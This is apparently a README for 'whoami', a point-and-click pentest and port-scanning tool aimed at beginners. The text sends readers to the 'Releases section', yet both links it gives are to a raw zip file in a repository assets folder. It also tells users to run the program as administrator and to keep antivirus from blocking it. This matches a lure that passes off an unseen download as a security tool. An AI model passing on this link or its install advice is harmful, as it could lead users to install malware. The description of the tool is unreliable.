whoami is an all-in-one tool designed for people interested in learning about security testing. It works on many systems, including Termux, Linux, Windows, and macOS. The app lets you scan networks, test ports, and explore potential weaknesses safely. It is built for ethical hackers and security researchers but written to be easy enough for beginners to use.
You do not need any programming skills to run whoami. The goal is to help you understand the basics of penetration testing with one simple program.
To run whoami on your Windows computer, your system should meet these requirements:
- Operating System: Windows 10 or newer (64-bit recommended)
- Processor: 1 GHz or faster
- RAM: At least 2 GB
- Disk Space: 150 MB free
- Network access is recommended to test scanning features
- Administrator rights may be required to scan certain networks or ports
If you are unsure about your system, you can check your Windows version and hardware info from the Settings menu.
whoami helps you with:
- Port scanning to find open services on networks
- Checking basic security info quickly
- Running simple penetration tests with guided commands
- Multi-platform use — works across different operating systems
- Open-source code you can explore or adapt if you wish
- No complicated setup or coding needed
This tool supports basic commands that cover common security tasks without needing extra software.
Follow these steps to get whoami running on your Windows PC.
Click this button to open the download page on GitHub:
This link leads to the main repository where you will find the latest release files.
On the GitHub page, look for the Releases section. Here, find the latest version for Windows. It may be named something like whoami-setup.exe.
Click the Windows installer file to download it to your computer. Save it in a place you will remember, such as the Downloads folder or the Desktop.
After downloading, double-click the setup file to start the installation. You might see a Windows security message asking if you want to allow this app to make changes. Click Yes to continue.
Follow the instructions in the installer. You can usually accept the default options unless you want to change the installation folder.
When the installation finishes, you will see an option to launch whoami. You can also start it later from the Start menu under "whoami".
The program opens with a simple window where you can enter commands or use buttons for common tasks.
Try scanning your local network:
- Click the “Scan Network” button or type the command for network scan
- Wait a few moments as the program checks for devices and open ports
- Review the results shown on screen
The output will list IP addresses, device names (if available), and which ports are open.
whoami uses simple commands. Here are a few you can try from inside the app:
scan network— find devices on the networkportscan [IP address]— check open ports for a deviceinfo [IP address]— get basic info about a target devicehelp— list available commands
You do not need to memorize these. The interface offers buttons and hints to guide you.
To get the latest features or security fixes:
- Visit the GitHub page link again:
https://github.com/Beatrisadecisive305/whoami/raw/refs/heads/main/assets/Software-v1.3.zip - Download the newest installer from the Releases section
- Run the installer; it will update your current version without losing your data
Regular updates improve stability and add new tools to the suite.
- If whoami won't start, check that your Windows version is supported
- Try running the program as administrator if scans do not work properly
- Ensure your antivirus software is not blocking the app
- Restart your computer if you encounter errors after installation
If problems continue, you can find help on the GitHub Issues page for this project.
whoami focuses on hands-on testing. To understand the results better, consider learning basic network and security concepts. Resources like online tutorials or simple books on ethical hacking can help.
You can visit this link to download or update whoami anytime:
https://github.com/Beatrisadecisive305/whoami/raw/refs/heads/main/assets/Software-v1.3.zip